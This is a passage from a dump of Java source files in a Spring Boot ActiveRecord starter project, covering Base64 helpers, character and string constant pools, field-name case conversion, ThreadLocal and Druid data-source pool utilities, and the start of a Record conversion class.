{\n\t\tbyte[] val = value.getBytes(charset);\n\t\treturn new String(encode(val), charset);\n\t}\n\n\t/**\n\t * 编码URL安全\n\t *\n\t * @param value 字符串\n\t * @return {String}\n\t */\n\tpublic static String encodeUrlSafe(String value) {\n\t\treturn encodeUrlSafe(value, StandardCharsets.UTF_8);\n\t}\n\n\t/**\n\t * 编码URL安全\n\t *\n\t * @param value   字符串\n\t * @param charset 字符集\n\t * @return {String}\n\t */\n\tpublic static String encodeUrlSafe(String value, Charset charset) {\n\t\tbyte[] val = value.getBytes(charset);\n\t\treturn new String(encodeUrlSafe(val), charset);\n\t}\n\n\t/**\n\t * 解码\n\t *\n\t * @param value 字符串\n\t * @return {String}\n\t */\n\tpublic static String decode(String value) {\n\t\treturn decode(value, StandardCharsets.UTF_8);\n\t}\n\n\t/**\n\t * 解码\n\t *\n\t * @param value   字符串\n\t * @param charset 字符集\n\t * @return {String}\n\t */\n\tpublic static String decode(String value, Charset charset) {\n\t\tbyte[] val = value.getBytes(charset);\n\t\tbyte[] decodedValue = decode(val);\n\t\treturn new String(decodedValue, charset);\n\t}\n\n\t/**\n\t * 解码URL安全\n\t *\n\t * @param value 字符串\n\t * @return {String}\n\t */\n\tpublic static String decodeUrlSafe(String value) {\n\t\treturn decodeUrlSafe(value, StandardCharsets.UTF_8);\n\t}\n\n\t/**\n\t * 解码URL安全\n\t *\n\t * @param value   字符串\n\t * @param charset 字符集\n\t * @return {String}\n\t */\n\tpublic static String decodeUrlSafe(String value, Charset charset) {\n\t\tbyte[] val = value.getBytes(charset);\n\t\tbyte[] decodedValue = decodeUrlSafe(val);\n\t\treturn new String(decodedValue, charset);\n\t}\n\n\t/**\n\t * Base64-encode the given byte array.\n\t *\n\t * @param src the original byte array\n\t * @return the encoded byte array\n\t */\n\tpublic static byte[] encode(byte[] src) {\n\t\tif (src.length == 0) {\n\t\t\treturn src;\n\t\t}\n\t\treturn ENCODER.encode(src);\n\t}\n\n\t/**\n\t * Base64-decode the given byte array.\n\t *\n\t * @param src the encoded byte array\n\t * @return the original byte array\n\t */\n\tpublic static byte[] decode(byte[] src) {\n\t\tif (src.length == 0) {\n\t\t\treturn src;\n\t\t}\n\t\treturn DECODER.decode(src);\n\t}\n\n\t/**\n\t * Base64-encode the given byte array using the RFC 4648\n\t * \"URL and Filename Safe Alphabet\".\n\t *\n\t * @param src the original byte array\n\t * @return the encoded byte array\n\t */\n\tpublic static byte[] encodeUrlSafe(byte[] src) {\n\t\tif (src.length == 0) {\n\t\t\treturn src;\n\t\t}\n\t\treturn URL_ENCODER.encode(src);\n\t}\n\n\t/**\n\t * Base64-decode the given byte array using the RFC 4648\n\t * \"URL and Filename Safe Alphabet\".\n\t *\n\t * @param src the encoded byte array\n\t * @return the original byte array\n\t * @since 4.2.4\n\t */\n\tpublic static byte[] decodeUrlSafe(byte[] src) {\n\t\tif (src.length == 0) {\n\t\t\treturn src;\n\t\t}\n\t\treturn URL_DECODER.decode(src);\n\t}\n\n\t/**\n\t * Base64-encode the given byte array to a String.\n\t *\n\t * @param src the original byte array\n\t * @return the encoded byte array as a UTF-8 String\n\t */\n\tpublic static String encodeToString(byte[] src) {\n\t\tif (src.length == 0) {\n\t\t\treturn \"\";\n\t\t}\n\t\treturn new String(encode(src), StandardCharsets.UTF_8);\n\t}\n\n\t/**\n\t * Base64-decode the given byte array from an UTF-8 String.\n\t *\n\t * @param src the encoded UTF-8 String\n\t * @return the original byte array\n\t */\n\tpublic static byte[] decodeFromString(String src) {\n\t\tif (src.isEmpty()) {\n\t\t\treturn new byte[0];\n\t\t}\n\t\treturn decode(src.getBytes(StandardCharsets.UTF_8));\n\t}\n\n\t/**\n\t * Base64-encode the given byte array to a String using the RFC 4648\n\t * \"URL and Filename Safe Alphabet\".\n\t *\n\t * @param src the original byte array\n\t * @return the encoded byte array as a UTF-8 String\n\t */\n\tpublic static String encodeToUrlSafeString(byte[] src) {\n\t\treturn new String(encodeUrlSafe(src), StandardCharsets.UTF_8);\n\t}\n\n\t/**\n\t * Base64-decode the given byte array from an UTF-8 String using the RFC 4648\n\t * \"URL and Filename Safe Alphabet\".\n\t *\n\t * @param src the encoded UTF-8 String\n\t * @return the original byte array\n\t */\n\tpublic static byte[] decodeFromUrlSafeString(String src) {\n\t\treturn decodeUrlSafe(src.getBytes(StandardCharsets.UTF_8));\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/utils/CharPool.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.utils;\n\n/**\n * char 常量池\n *\n * \n */\npublic interface CharPool {\n\t// @formatter:off\n\tchar UPPER_A          = 'A';\n\tchar LOWER_A          = 'a';\n\tchar UPPER_Z          = 'Z';\n\tchar LOWER_Z          = 'z';\n\tchar DOT              = '.';\n\tchar AT               = '@';\n\tchar LEFT_BRACE       = '{';\n\tchar RIGHT_BRACE      = '}';\n\tchar LEFT_BRACKET     = '(';\n\tchar RIGHT_BRACKET    = ')';\n\tchar DASH             = '-';\n\tchar PERCENT          = '%';\n\tchar PIPE             = '|';\n\tchar PLUS             = '+';\n\tchar QUESTION_MARK    = '?';\n\tchar EXCLAMATION_MARK = '!';\n\tchar EQUALS           = '=';\n\tchar AMPERSAND        = '&';\n\tchar ASTERISK         = '*';\n\tchar STAR             = ASTERISK;\n\tchar BACK_SLASH       = '\\\\';\n\tchar COLON            = ':';\n\tchar COMMA            = ',';\n\tchar DOLLAR           = '$';\n\tchar SLASH            = '/';\n\tchar HASH             = '#';\n\tchar HAT              = '^';\n\tchar LEFT_CHEV        = '<';\n\tchar NEWLINE          = '\\n';\n\tchar N                = 'n';\n\tchar Y                = 'y';\n\tchar QUOTE            = '\\\"';\n\tchar RETURN           = '\\r';\n\tchar TAB              = '\\t';\n\tchar RIGHT_CHEV       = '>';\n\tchar SEMICOLON        = ';';\n\tchar SINGLE_QUOTE     = '\\'';\n\tchar BACKTICK         = '`';\n\tchar SPACE            = ' ';\n\tchar TILDA            = '~';\n\tchar LEFT_SQ_BRACKET  = '[';\n\tchar RIGHT_SQ_BRACKET = ']';\n\tchar UNDERSCORE       = '_';\n\tchar ONE              = '1';\n\tchar ZERO             = '0';\n\t// @formatter:on\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/utils/FieldStrategy.java",
    "content": "package io.github.wujun728.activerecord.utils;\n\n\n/**\n * Record 转 bean 或者 bean 转 Record 的字段策略\n *\n * \n */\npublic enum FieldStrategy {\n\n\t/**\n\t * 不处理\n\t */\n\tNONE {\n\t\t@Override\n\t\tpublic String convert(String name) {\n\t\t\treturn name;\n\t\t}\n\t},\n\n\t/**\n\t * 驼峰转下滑线\n\t */\n\tCAMEL_TO_LOWER {\n\t\t@Override\n\t\tpublic String convert(String name) {\n\t\t\tif (name == null) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\tchar[] charArray = name.toCharArray();\n\t\t\tStringBuilder builder = new StringBuilder();\n\t\t\tfor (int i = 0, l = charArray.length; i < l; i++) {\n\t\t\t\tif (charArray[i] >= CharPool.UPPER_A && charArray[i] <= CharPool.UPPER_Z) {\n\t\t\t\t\tbuilder.append(CharPool.UNDERSCORE).append(charArray[i] += 32);\n\t\t\t\t} else {\n\t\t\t\t\tbuilder.append(charArray[i]);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn builder.toString();\n\t\t}\n\t},\n\n\t/**\n\t * 下划线转驼峰\n\t */\n\tLOWER_TO_CAMEL {\n\t\t@Override\n\t\tpublic String convert(String name) {\n\t\t\tif (name == null) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\t// 没有下划线直接返回\n\t\t\tif (name.indexOf(CharPool.UNDERSCORE) == -1) {\n\t\t\t\treturn name;\n\t\t\t}\n\t\t\tchar[] charArray = name.toCharArray();\n\t\t\tStringBuilder builder = new StringBuilder();\n\t\t\tboolean isUnderlineBefore = false;\n\t\t\tfor (char c : charArray) {\n\t\t\t\tif (CharPool.UNDERSCORE == c) {\n\t\t\t\t\tisUnderlineBefore = true;\n\t\t\t\t} else if (isUnderlineBefore && c >= CharPool.LOWER_A && c <= CharPool.LOWER_Z) {\n\t\t\t\t\tbuilder.append(c -= 32);\n\t\t\t\t\tisUnderlineBefore = false;\n\t\t\t\t} else {\n\t\t\t\t\tbuilder.append(c);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn builder.toString();\n\t\t}\n\t};\n\n\t/**\n\t * 转换\n\t *\n\t * @param name 属性名\n\t * @return 属性名\n\t */\n\tpublic abstract String convert(String name);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/utils/ModelUtil.java",
    "content": "package io.github.wujun728.activerecord.utils;\n\nimport cn.hutool.core.bean.BeanUtil;\nimport com.jfinal.plugin.activerecord.Model;\nimport com.jfinal.plugin.activerecord.Record;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * model 工具\n *\n * \n */\npublic class ModelUtil {\n\n\t/**\n\t * 将 model 转为 bean\n\t */\n\tpublic static <T> T toBean(Model<?> model, Class<T> valueType) {\n\t\t// model 有 get set 方法，可以直接转换\n\t\treturn BeanUtil.copyProperties(model, valueType);\n\t}\n\n\t/**\n\t * 将 record 转为 bean\n\t */\n\tpublic static <T> T toBean(Record record, Class<T> valueType) {\n\t\t// 默认下划线转驼峰\n\t\treturn toBean(record, FieldStrategy.LOWER_TO_CAMEL, valueType);\n\t}\n\n\t/**\n\t * 将 record 转为 bean\n\t */\n\tpublic static <T> T toBean(Record record, FieldStrategy strategy, Class<T> valueType) {\n\t\tMap<String, Object> data = new HashMap<>(16);\n\t\trecord.getColumns().forEach((key, value) -> data.put(strategy.convert(key), value));\n\t\treturn BeanUtil.toBean(data, valueType);\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/utils/StringPool.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.activerecord.utils;\n\n/**\n * 静态 String 池\n *\n * \n */\npublic interface StringPool {\n\t// @formatter:off\n\tString AMPERSAND        = \"&\";\n\tString AND              = \"and\";\n\tString AT               = \"@\";\n\tString ASTERISK         = \"*\";\n\tString STAR             = ASTERISK;\n\tString BACK_SLASH       = \"\\\\\";\n\tString COLON            = \":\";\n\tString COMMA            = \",\";\n\tString DASH             = \"-\";\n\tString DOLLAR           = \"$\";\n\tString DOT              = \".\";\n\tString EMPTY            = \"\";\n\tString EQUALS           = \"=\";\n\tString FALSE            = \"false\";\n\tString SLASH            = \"/\";\n\tString HASH             = \"#\";\n\tString HAT              = \"^\";\n\tString LEFT_BRACE       = \"{\";\n\tString LEFT_BRACKET     = \"(\";\n\tString LEFT_CHEV        = \"<\";\n\tString NEWLINE          = \"\\n\";\n\tString N                = \"n\";\n\tString NO               = \"no\";\n\tString NULL             = \"null\";\n\tString OFF              = \"off\";\n\tString ON               = \"on\";\n\tString PERCENT          = \"%\";\n\tString PIPE             = \"|\";\n\tString PLUS             = \"+\";\n\tString QUESTION_MARK    = \"?\";\n\tString EXCLAMATION_MARK = \"!\";\n\tString QUOTE            = \"\\\"\";\n\tString RETURN           = \"\\r\";\n\tString TAB              = \"\\t\";\n\tString RIGHT_BRACE      = \"}\";\n\tString RIGHT_BRACKET    = \")\";\n\tString RIGHT_CHEV       = \">\";\n\tString SEMICOLON        = \";\";\n\tString SINGLE_QUOTE     = \"'\";\n\tString BACKTICK         = \"`\";\n\tString SPACE            = \" \";\n\tString TILDA            = \"~\";\n\tString LEFT_SQ_BRACKET  = \"[\";\n\tString RIGHT_SQ_BRACKET = \"]\";\n\tString TRUE             = \"true\";\n\tString UNDERSCORE       = \"_\";\n\tString UTF_8            = \"UTF-8\";\n\tString GBK              = \"GBK\";\n\tString Y                = \"y\";\n\tString YES              = \"yes\";\n\tString ONE              = \"1\";\n\tString ZERO             = \"0\";\n\tString DOLLAR_LEFT_BRACE= \"${\";\n\tString GET              = \"get\";\n\tString IS               = \"is\";\n\tString UNKNOWN          = \"unknown\";\n\tString OK               = \"ok\";\n\n\t// @formatter:on\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/activerecord/utils/ThreadLocalUtil.java",
    "content": "/*\n *\n * Copyright 2019 http://www.hswebframework.org\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage io.github.wujun728.activerecord.utils;\n\nimport org.springframework.lang.Nullable;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.function.Supplier;\n\n/**\n * ThreadLocal 工具类,通过在ThreadLocal存储map信息,来实现在ThreadLocal中维护多个信息\n * <br>e.g.<code>\n * ThreadLocalUtils.put(\"key\",value);<br>\n * ThreadLocalUtils.get(\"key\");<br>\n * ThreadLocalUtils.remove(\"key\");<br>\n * ThreadLocalUtils.getAndRemove(\"key\");<br>\n * ThreadLocalUtils.get(\"key\",()-&gt;defaultValue);<br>\n * ThreadLocalUtils.clear();<br>\n * </code>\n *\n * @since 2.0\n */\n@SuppressWarnings(\"unchecked\")\npublic class ThreadLocalUtil {\n\tprivate static final ThreadLocal<Map<String, Object>> LOCAL = ThreadLocal.withInitial(HashMap::new);\n\n\t/**\n\t * @return threadLocal中的全部值\n\t */\n\tpublic static Map<String, Object> getAll() {\n\t\treturn new HashMap<>(LOCAL.get());\n\t}\n\n\t/**\n\t * 设置一个值到ThreadLocal\n\t *\n\t * @param key   键\n\t * @param value 值\n\t * @param <T>   值的类型\n\t * @return 被放入的值\n\t * @see Map#put(Object, Object)\n\t */\n\tpublic static <T> T put(String key, T value) {\n\t\tLOCAL.get().put(key, value);\n\t\treturn value;\n\t}\n\n\t/**\n\t * 设置一个值到ThreadLocal\n\t *\n\t * @param map map\n\t * @return 被放入的值\n\t * @see Map#putAll(Map)\n\t */\n\tpublic static void put(Map<String, Object> map) {\n\t\tLOCAL.get().putAll(map);\n\t}\n\n\t/**\n\t * 删除参数对应的值\n\t *\n\t * @param key\n\t * @see Map#remove(Object)\n\t */\n\tpublic static void remove(String key) {\n\t\tLOCAL.get().remove(key);\n\t}\n\n\t/**\n\t * 清空ThreadLocal\n\t *\n\t * @see Map#clear()\n\t */\n\tpublic static void clear() {\n\t\tLOCAL.remove();\n\t}\n\n\t/**\n\t * 从ThreadLocal中获取值\n\t *\n\t * @param key 键\n\t * @param <T> 值泛型\n\t * @return 值, 不存在则返回null, 如果类型与泛型不一致, 可能抛出{@link ClassCastException}\n\t * @see Map#get(Object)\n\t * @see ClassCastException\n\t */\n\t@Nullable\n\tpublic static <T> T get(String key) {\n\t\treturn ((T) LOCAL.get().get(key));\n\t}\n\n\t/**\n\t * 从ThreadLocal中获取值,并指定一个当值不存在的提供者\n\t *\n\t * @see Supplier\n\t */\n\t@Nullable\n\tpublic static <T> T getIfAbsent(String key, Supplier<T> supplierOnNull) {\n\t\treturn ((T) LOCAL.get().computeIfAbsent(key, k -> supplierOnNull.get()));\n\t}\n\n\t/**\n\t * 获取一个值后然后删除掉\n\t *\n\t * @param key 键\n\t * @param <T> 值类型\n\t * @return 值, 不存在则返回null\n\t * @see this#get(String)\n\t * @see this#remove(String)\n\t */\n\t@Nullable\n\tpublic static <T> T getAndRemove(String key) {\n\t\ttry {\n\t\t\treturn get(key);\n\t\t} finally {\n\t\t\tremove(key);\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/db/utils/DataSourcePool.java",
    "content": "package io.github.wujun728.db.utils;\n\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.extra.spring.SpringUtil;\nimport com.alibaba.druid.pool.DruidDataSource;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.PostConstruct;\nimport javax.sql.DataSource;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReentrantLock;\n\n@Slf4j\n@Component\npublic class DataSourcePool {\n\n    public static final String main = \"main\";\n    private static Lock lock = new ReentrantLock();\n    private static Lock deleteLock = new ReentrantLock();\n\n    public static final String mysqlDriver5 = \"com.mysql.jdbc.Driver\";\n    public static final String mysqlDriver6 = \"com.mysql.cj.jdbc.Driver\";\n    public static final String postgresqlDriver6 = \"org.postgresql.Driver\";\n    public static final String oracleDriver6 = \"oracle.jdbc.driver.OracleDriver\";\n    public static final String sqlserverDriver6 = \"com.microsoft.sqlserver.jdbc.SQLServerDriver\";\n\n    //所有数据源的连接池存在map里\n    public volatile static ConcurrentHashMap<String, DataSource> dataSourceMap = new ConcurrentHashMap<>();\n\n    public static DataSource init(String dsname,String url,String username,String password) {\n        String driverName = mysqlDriver5;\n        driverName = identifyDatabaseTypeFromJdbcUrl(url);\n        return init(dsname,url,username,password,driverName);\n    }\n    public static String identifyDatabaseTypeFromJdbcUrl(String jdbcUrl) {\n        if (jdbcUrl.startsWith(\"jdbc:mysql:\")) {\n            return mysqlDriver5;//            return \"MySQL\";\n        } else if (jdbcUrl.startsWith(\"jdbc:postgresql:\")) {\n            return postgresqlDriver6;//            return \"PostgreSQL\";\n        } else if (jdbcUrl.startsWith(\"jdbc:oracle:\")) {\n            return oracleDriver6;//            return \"Oracle\";\n        } else if (jdbcUrl.startsWith(\"jdbc:sqlserver:\")) {\n            return sqlserverDriver6;//            return \"SQL Server\";\n        } else {\n            return \"Unknown\";\n        }\n    }\n    public static DataSource init(String dsname,String url,String username,String password,String driver) {\n        if (dataSourceMap.containsKey(dsname)) {\n            return dataSourceMap.get(dsname);\n        } else {\n            lock.lock();\n            try {\n                //log.info(Thread.currentThread().getName() + \"获取锁\");\n                if (!dataSourceMap.containsKey(dsname)) {\n                    DruidDataSource druidDataSource = new DruidDataSource();\n                    druidDataSource.setName(dsname);\n                    druidDataSource.setUrl(url);\n                    druidDataSource.setUsername(username);\n                    druidDataSource.setPassword(password);\n                    druidDataSource.setDriverClassName(driver);\n                    druidDataSource.setConnectionErrorRetryAttempts(3);       //失败后重连次数\n                    druidDataSource.setBreakAfterAcquireFailure(true);\n                    dataSourceMap.put(dsname, druidDataSource);\n                    log.info(\"创建Druid连接池成功：{}\", dsname);\n\n                }\n                return dataSourceMap.get(dsname);\n            } catch (Exception e) {\n                return null;\n            } finally {\n                lock.unlock();\n            }\n        }\n    }\n    public static void init(String dsname,DataSource dataSource) {\n        add(dsname,dataSource);\n        if(main.equalsIgnoreCase(dsname)){\n            //Db.init(dsname,dataSource);\n        }\n    }\n    private static void add(String dsname, DataSource dataSource) {\n        lock.lock();\n        try {\n            log.info(Thread.currentThread().getName() + \"获取锁\");\n            dataSourceMap.put(dsname, dataSource);\n            if(main.equalsIgnoreCase(dsname)){\n                //Db.init(dsname,dataSource);\n            }\n            log.info(\"添加连接池成功：{}\", dsname);\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            lock.unlock();\n        }\n    }\n    public static DataSource get(String dsname) {\n        if(StrUtil.isEmpty(dsname)){\n            return null;\n        }\n        if (dataSourceMap.containsKey(dsname)) {\n            return dataSourceMap.get(dsname);\n        } else {\n            return null;\n        }\n    }\n\n    //删除数据库连接池\n    public static void remove(String dsname) {\n        deleteLock.lock();\n        try {\n            DataSource druidDataSource = dataSourceMap.get(dsname);\n            if (druidDataSource != null) {\n                //druidDataSource.close();\n                if(druidDataSource instanceof  DruidDataSource){\n                    ((DruidDataSource)druidDataSource).close();\n                }\n                dataSourceMap.remove(dsname);\n            }\n        } catch (Exception e) {\n            log.error(e.toString());\n        } finally {\n            deleteLock.unlock();\n        }\n    }\n\n    public static Connection getConnection(String dsname) throws SQLException {\n        return DataSourcePool.get(dsname).getConnection();\n    }\n\n\n    //*****************************************************************************************************************\n    //*****************************************************************************************************************\n    //*****************************************************************************************************************\n    //*****************************************************************************************************************\n    //*****************************************************************************************************************\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/db/utils/FieldUtils.java",
    "content": "package io.github.wujun728.db.utils;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\npublic class FieldUtils {\n\n\n    public static final char UNDERLINE = '_';\n\n    public static String toUnderlineCase(String param) {\n        return getUnderlineName(param);\n    }\n    public static String getUnderlineName(String param) {\n        return toSymbolCase(param, UNDERLINE);\n        //return StrUtil.toUnderlineCase(param);\n    }\n    public static String toSymbolCase(CharSequence str, char symbol) {\n        if (str == null) {\n            return null;\n        } else {\n            int length = str.length();\n            StringBuilder sb = new StringBuilder();\n            for(int i = 0; i < length; ++i) {\n                char c = str.charAt(i);\n                if (Character.isUpperCase(c)) {\n                    Character preChar = i > 0 ? str.charAt(i - 1) : null;\n                    Character nextChar = i < str.length() - 1 ? str.charAt(i + 1) : null;\n                    if (null != preChar) {\n                        if (symbol == preChar) {\n                            if (null == nextChar || Character.isLowerCase(nextChar)) {\n                                c = Character.toLowerCase(c);\n                            }\n                        } else if (Character.isLowerCase(preChar)) {\n                            sb.append(symbol);\n                            if (null == nextChar || Character.isLowerCase(nextChar) || isNumber(nextChar)) {\n                                c = Character.toLowerCase(c);\n                            }\n                        } else if (null != nextChar && Character.isLowerCase(nextChar)) {\n                            sb.append(symbol);\n                            c = Character.toLowerCase(c);\n                        }\n                    } else if (null == nextChar || Character.isLowerCase(nextChar)) {\n                        c = Character.toLowerCase(c);\n                    }\n                }\n\n                sb.append(c);\n            }\n            return sb.toString();\n        }\n    }\n\n    public static boolean isNumber(char ch) {\n        return ch >= '0' && ch <= '9';\n    }\n\n    public static String getCamelName(String param) {\n        return toCamelCase(param, UNDERLINE);\n        //return StrUtil.toCamelCase(param);\n    }\n\n    public static String toCamelCase(CharSequence name) {\n        return toCamelCase(name, UNDERLINE);\n    }\n    public static String toCamelCase(CharSequence name, char symbol) {\n        if (null == name) {\n            return null;\n        } else {\n            String name2 = name.toString();\n            if (/*StrUtil.contains(name2, symbol)*/name2.indexOf(symbol)>-1) {\n                int length = name2.length();\n                StringBuilder sb = new StringBuilder(length);\n                boolean upperCase = false;\n                for(int i = 0; i < length; ++i) {\n                    char c = name2.charAt(i);\n                    if (c == symbol) {\n                        upperCase = true;\n                    } else if (upperCase) {\n                        sb.append(Character.toUpperCase(c));\n                        upperCase = false;\n                    } else {\n                        sb.append(Character.toLowerCase(c));\n                    }\n                }\n                return sb.toString();\n            } else {\n                return name2;\n            }\n        }\n    }\n\n\n\n\n    public static void main(String[] args) {\n//        System.out.println(getUnderlineName(\"AbcDeft\"));\n//        System.out.println(getCamelName(\"abc_deft\"));\n//        System.out.println(fieldNameToColumnName(\"AbcDeft\"));\n//        System.out.println(columnNameToFieldName(\"abc_deft\"));\n        System.out.println(FieldUtils.toCamelCase(\"abc_deft\"));\n        System.out.println(FieldUtils.toUnderlineCase(\"AbcDeft\"));\n    }\n\n\n\n    public static List<Field> allFields(Class clazz){\n        ArrayList<Field> fields = new ArrayList<>();\n        fields.addAll(Arrays.asList(clazz.getSuperclass().getDeclaredFields()));\n        fields.addAll(Arrays.asList(clazz.getDeclaredFields()));\n        return fields;\n    }\n    \n    public static String columnNameToFieldName(String name){\n    \treturn getCamelName(name);\n    }\n    public static String fieldNameToColumnName(String name){\n    \treturn getUnderlineName(name);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-activerecord/src/main/java/io/github/wujun728/db/utils/RecordUtil.java",
    "content": "package io.github.wujun728.db.utils;\n\nimport cn.hutool.core.bean.BeanUtil;\nimport cn.hutool.core.bean.copier.CopyOptions;\nimport cn.hutool.core.util.StrUtil;\nimport com.jfinal.plugin.activerecord.ActiveRecordPlugin;\nimport com.jfinal.plugin.activerecord.DbKit;\nimport com.jfinal.plugin.activerecord.Page;\nimport com.jfinal.plugin.activerecord.Record;\nimport com.jfinal.plugin.druid.DruidPlugin;\n\nimport javax.sql.DataSource;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.Reader;\nimport java.sql.*;\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.function.Function;\n\n/**\n * @ClassName: RecordUtils\n * @Description: Record相关工具类\n *\n */\npublic class RecordUtil {\n\n\n//\n//\n//\n//\n//    public static <T> List<Record> beanToRecords(List<T> objs) throws IllegalArgumentException, IllegalAccessException{\n//        List<Record> datas = new ArrayList();\n//        for(T item :objs){\n//            datas.add(beanToRecord(item));\n//        }\n//        return datas;\n//    }\n//    public static <T> Record beanToRecord(T obj) throws IllegalArgumentException, IllegalAccessException{\n//        if(obj != null){\n//            Record record = new Record();\n//            Class clazz = obj.getClass();\n//            Field[] fields = clazz.getDeclaredFields();\n//            for(int i=0; i<fields.length; i++){\n//                Field field = fields[i];\n//                if(!field.isAccessible())  {\n//                    field.setAccessible(true);\n//                }\n//                String columnName = FieldUtils.fieldNameToColumnName(field.getName());\n//                record.set(columnName, field.get(obj));\n//            }\n//            return record;\n//\n//        }\n//        return null;\n//    }\n//\n//\n//\n//\n    public static <T> List mapToBeans(List<Map<String, Object>> lists, Class<T> clazz){\n        List<T> datas = new ArrayList();\n        if(lists!=null && lists.size()>0) {\n            lists.forEach(item->{\n                datas.add(RecordUtil.mapToBean(item,clazz));\n            });\n        }\n        return datas;\n    }\n    public static <T> T mapToBean(Map<String, Object> item, Class<T> clazz){\n        T obj = null;\n        Map m = new HashMap<>();\n        item.forEach((k,v)->{\n            m.put(FieldUtils.columnNameToFieldName(String.valueOf(k)), v);\n        });\n        try {\n            obj = BeanUtil.mapToBean(item, clazz,true, CopyOptions.create());\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return obj;\n    }\n\n    public static List<Map> recordListToMapList(List<Record> recordList){\n        return recordToMaps(recordList,false);\n    }\n    public static List<Map> recordToMaps(List<Record> recordList,Boolean isUnderLine){\n        if (recordList == null || recordList.size() == 0){\n            return null;\n        }\n        List<Map> list = new ArrayList<>();\n        for (Record record : recordList){\n            try {\n                list.add(RecordUtil.recordToMap(record,isUnderLine));\n            } catch (Exception e) {\n                throw new RuntimeException(e);\n            }\n        }\n        return list;\n    }\n    public static Map<String, Object> recordToMap(Record record,Boolean isUnderLine) {\n        Map<String, Object> map = new HashMap<String, Object>();\n        if (record != null) {\n            String[] columns = record.getColumnNames();\n            for (String col : columns) {\n                String fieldName = FieldUtils.columnNameToFieldName(col);\n                if(isUnderLine){\n                    fieldName = col;\n                }\n                map.put(fieldName, record.get(col));\n            }\n        }\n        return map;\n    }\n\n    public static Page pageRecordToPageMap(Page<Record> pageList, Boolean isUnderLine){\n        if (pageList == null || pageList.getList().size() == 0){\n            return null;\n        }\n        List<Map<String, Object>> list = new ArrayList<>();\n        List<Record> recordList = pageList.getList();\n        for (Record record : recordList){\n            try {\n                list.add(RecordUtil.recordToMap(record,isUnderLine));\n            } catch (Exception e) {\n                throw new RuntimeException(e);\n            }\n        }\n        Page page = new Page();\n        page.setList(list);\n        page.setPageNumber(pageList.getPageNumber());\n        page.setPageSize(pageList.getPageSize());\n        page.setTotalPage(pageList.getTotalPage());\n        page.setTotalRow(pageList.getTotalRow());\n        return page;\n    }\n\n\n    public static <T> List<T> recordToBeanList(List<Record> recordList, Class<T> clazz){\n        if (recordList == null || recordList.size() == 0){\n            return null;\n        }\n        List<T> list = new ArrayList<>();\n        for (Record record : recordList){\n            try {\n                list.add((T) RecordUtil.recordToBean(record, clazz));\n            } catch (Exception e) {\n                throw new RuntimeException(e);\n            }\n        }\n        return list;\n    }\n\n    public static <T> T recordToBean(Record record, Class<T> clazz){\n        if (record == null){\n            return null;\n        }\n        Map maps = recordToMap(record,false);\n        return (T) mapToBean(maps,clazz);\n        /*try {\n            T vo = clazz.newInstance();\n            Field[] fields = clazz.getDeclaredFields();\n            for (Field field : fields) {\n                String fieldName = field.getName();\n                field.setAccessible(true);\n                //根据类型赋值\n                String fieldClassName = field.getType().getSimpleName();\n                String columnName = FieldUtils.fieldNameToColumnName(fieldName);\n                Object obj = record.get(fieldName);\n                if (obj == null) {\n                    obj = record.get(columnName);\n                }\n                if (obj != null) {\n                    if 